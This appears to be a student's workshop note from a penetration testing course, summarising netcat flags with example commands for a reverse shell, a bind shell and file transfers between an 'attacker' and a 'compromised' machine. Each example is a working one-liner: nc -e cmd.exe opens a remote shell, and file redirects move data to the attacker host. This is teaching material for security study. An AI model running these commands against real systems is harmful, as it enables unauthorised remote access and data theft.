Files
G4G0-2/Penetration Testing/Week 3/Workshop 3 - netcat.md
2025-01-30 09:27:31 +00:00

30 lines
639 B
Markdown
Executable File

nc: TCP/IP Swiss Army Knife
ncat: concatenate and redirect sockets
-l: Listen and Bind
-p: Port
\--ssl: Use SSL
Example (Reverse Shell):
Attacker Client: `nc -lp 4444`
Compromised Client: `nc 1.0.0.0 4444 -e cmd.exe`
Example (Bind Shell):
Attacker Client: `nc 1.0.0.1 4444`
Compromised Client: `nc -lp 4444 -e cmd.exe -k`
Example (File Transfer Receive):
Attacker Client: `nc -lp 4444 > newFile`
Compromised Client: `nc 1.0.0.1 4444 < oldFile`
Example (File Transfer Transmit):
Attacker Client: `nc -lp 4444 < newFile`
Compromised Client: `nc 1.0.0.1 > oldFile`
Log into Windows Machine:
![](Pasted%20image%2020241004143909.png)